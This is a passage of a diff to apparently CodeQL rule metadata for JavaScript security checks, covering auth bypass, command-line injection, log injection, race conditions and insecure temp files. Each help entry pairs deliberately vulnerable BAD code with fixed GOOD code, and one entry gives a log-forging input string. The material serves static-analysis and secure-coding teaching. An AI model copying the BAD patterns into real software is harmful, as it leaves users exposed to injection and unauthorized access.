notation](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
+            "text" : "# Password in configuration file\nStoring a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector.\n\n\n## Recommendation\nPasswords stored in configuration files should always be encrypted.\n\n\n## References\n* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html).\n* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html).\n* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html).\n* Common Weakness Enumeration: [CWE-522](https://cwe.mitre.org/data/definitions/522.html).\n",
+            "markdown" : "# Password in configuration file\nStoring a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector.\n\n\n## Recommendation\nPasswords stored in configuration files should always be encrypted.\n\n\n## References\n* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html).\n* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html).\n* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html).\n* Common Weakness Enumeration: [CWE-522](https://cwe.mitre.org/data/definitions/522.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-250", "external/cwe/cwe-400" ],
-            "description" : "Allowing writes to arbitrary properties of an object may lead to\n              denial-of-service attacks.",
-            "id" : "js/remote-property-injection",
-            "kind" : "path-problem",
-            "name" : "Remote property injection",
+            "tags" : [ "security", "external/cwe/cwe-256", "external/cwe/cwe-260", "external/cwe/cwe-313", "external/cwe/cwe-522" ],
+            "description" : "Storing unencrypted passwords in configuration files is unsafe.",
+            "id" : "js/password-in-configuration-file",
+            "kind" : "problem",
+            "name" : "Password in configuration file",
             "precision" : "medium",
             "problem.severity" : "warning",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/unsafe-code-construction",
+          "id" : "js/user-controlled-bypass",
+          "name" : "js/user-controlled-bypass",
+          "shortDescription" : {
+            "text" : "User-controlled bypass of security check"
+          },
+          "fullDescription" : {
+            "text" : "Conditions that the user controls are not suited for making security-related decisions."
+          },
+          "defaultConfiguration" : {
+            "enabled" : true,
+            "level" : "error"
+          },
+          "help" : {
+            "text" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.cookies.loggedInUserId !== req.params.userId) {\n        // BAD: login decision made based on user controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.signedCookies.loggedInUserId !== req.params.userId) {\n        // GOOD: login decision made based on server controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n",
+            "markdown" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.cookies.loggedInUserId !== req.params.userId) {\n        // BAD: login decision made based on user controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.signedCookies.loggedInUserId !== req.params.userId) {\n        // GOOD: login decision made based on server controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n"
+          },
+          "properties" : {
+            "tags" : [ "security", "external/cwe/cwe-807", "external/cwe/cwe-290" ],
+            "description" : "Conditions that the user controls are not suited for making security-related decisions.",
+            "id" : "js/user-controlled-bypass",
+            "kind" : "path-problem",
+            "name" : "User-controlled bypass of security check",
+            "precision" : "medium",
+            "problem.severity" : "error",
+            "security-severity" : "7.8"
+          }
+        }, {
+          "id" : "js/file-system-race",
+          "name" : "js/file-system-race",
+          "shortDescription" : {
+            "text" : "Potential file system race condition"
+          },
+          "fullDescription" : {
+            "text" : "Separately checking the state of a file before operating on it may allow an attacker to modify the file between the two operations."
+          },
+          "defaultConfiguration" : {
+            "enabled" : true,
+            "level" : "warning"
+          },
+          "help" : {
+            "text" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n  fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n  const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n  fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n  // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n",
+            "markdown" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n  fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n  const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n  fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n  // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n"
+          },
+          "properties" : {
+            "tags" : [ "security", "external/cwe/cwe-367" ],
+            "description" : "Separately checking the state of a file before operating\n              on it may allow an attacker to modify the file between\n              the two operations.",
+            "id" : "js/file-system-race",
+            "kind" : "problem",
+            "name" : "Potential file system race condition",
+            "precision" : "medium",
+            "problem.severity" : "warning",
+            "security-severity" : "7.7"
+          }
+        }, {
+          "id" : "js/unsafe-code-construction",
           "name" : "js/unsafe-code-construction",
           "shortDescription" : {
             "text" : "Unsafe code constructed from library input"
@@ -2868,185 +2831,220 @@
             "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/empty-password-in-configuration-file",
-          "name" : "js/empty-password-in-configuration-file",
+          "id" : "js/indirect-command-line-injection",
+          "name" : "js/indirect-command-line-injection",
           "shortDescription" : {
-            "text" : "Empty password in configuration file"
+            "text" : "Indirect uncontrolled command line"
           },
           "fullDescription" : {
-            "text" : "Failing to set a password reduces the security of your code."
+            "text" : "Forwarding command-line arguments to a child process executed within a shell may indirectly introduce command-line injection vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Empty password in configuration file\nThe use of an empty string as a password in a configuration file is not secure.\n\n\n## Recommendation\nChoose a strong password and encrypt it if it has to be stored in a configuration file.\n\n\n## References\n* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html).\n* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html).\n",
-            "markdown" : "# Empty password in configuration file\nThe use of an empty string as a password in a configuration file is not secure.\n\n\n## Recommendation\nChoose a strong password and encrypt it if it has to be stored in a configuration file.\n\n\n## References\n* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html).\n* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html).\n"
+            "text" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n    nodeOpts = args[1];\n    args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
+            "markdown" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n    nodeOpts = args[1];\n    args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-258", "external/cwe/cwe-862" ],
-            "description" : "Failing to set a password reduces the security of your code.",
-            "id" : "js/empty-password-in-configuration-file",
-            "kind" : "problem",
-            "name" : "Empty password in configuration file",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
+            "description" : "Forwarding command-line arguments to a child process\n              executed within a shell may indirectly introduce\n              command-line injection vulnerabilities.",
+            "id" : "js/indirect-command-line-injection",
+            "kind" : "path-problem",
+            "name" : "Indirect uncontrolled command line",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "6.3"
           }
         }, {
-          "id" : "js/password-in-configuration-file",
-          "name" : "js/password-in-configuration-file",
+          "id" : "js/log-injection",
+          "name" : "js/log-injection",
           "shortDescription" : {
-            "text" : "Password in configuration file"
+            "text" : "Log injection"
           },
           "fullDescription" : {
-            "text" : "Storing unencrypted passwords in configuration files is unsafe."
+            "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user."
+          },
+          "defaultConfiguration" : {
+            "enabled" : true,
+            "level" : "error"
+          },
+          "help" : {
+            "text" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    // GOOD: remove newlines from user controlled input before logging\n    let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n    console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n",
+            "markdown" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    // GOOD: remove newlines from user controlled input before logging\n    let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n    console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n"
+          },
+          "properties" : {
+            "tags" : [ "security", "external/cwe/cwe-117" ],
+            "description" : "Building log entries from user-controlled sources is vulnerable to\n              insertion of forged log entries by a malicious user.",
+            "id" : "js/log-injection",
+            "kind" : "path-problem",
+            "name" : "Log injection",
+            "precision" : "medium",
+            "problem.severity" : "error",
+            "security-severity" : "6.1"
+          }
+        }, {
+          "id" : "js/insecure-temporary-file",
+          "name" : "js/insecure-temporary-file",
+          "shortDescription" : {
+            "text" : "Insecure temporary file"
+          },
+          "fullDescription" : {
+            "text" : "Creating a temporary file that is accessible by other users can lead to information disclosure and sometimes remote code execution."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Password in configuration file\nStoring a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector.\n\n\n## Recommendation\nPasswords stored in configuration files should always be encrypted.\n\n\n## References\n* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html).\n* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html).\n* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html).\n* Common Weakness Enumeration: [CWE-522](https://cwe.mitre.org/data/definitions/522.html).\n",
-            "markdown" : "# Password in configuration file\nStoring a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector.\n\n\n## Recommendation\nPasswords stored in configuration files should always be encrypted.\n\n\n## References\n* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html).\n* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html).\n* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html).\n* Common Weakness Enumeration: [CWE-522](https://cwe.mitre.org/data/definitions/522.html).\n"
+            "text" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n",
+            "markdown" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-256", "external/cwe/cwe-260", "external/cwe/cwe-313", "external/cwe/cwe-522" ],
-            "description" : "Storing unencrypted passwords in configuration files is unsafe.",
-            "id" : "js/password-in-configuration-file",
-            "kind" : "problem",
-            "name" : "Password in configuration file",
+            "tags" : [ "external/cwe/cwe-377", "external/cwe/cwe-378", "security" ],
+            "description" : "Creating a temporary file that is accessible by other users can\n lead to information disclosure and sometimes remote code execution.",
+            "id" : "js/insecure-temporary-file",
+            "kind" : "path-problem",
+            "name" : "Insecure temporary file",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "7.0"
           }
         }, {
-          "id" : "js/file-system-race",
-          "name" : "js/file-system-race",
+          "id" : "js/file-access-to-http",
+          "name" : "js/file-access-to-http",
           "shortDescription" : {
-            "text" : "Potential file system race condition"
+            "text" : "File data in outbound network request"
           },
           "fullDescription" : {
-            "text" : "Separately checking the state of a file before operating on it may allow an attacker to modify the file between the two operations."
+            "text" : "Directly sending file data in an outbound network request can indicate unauthorized information disclosure."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n  fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n  const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n  fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n  // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n",
-            "markdown" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n  fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = 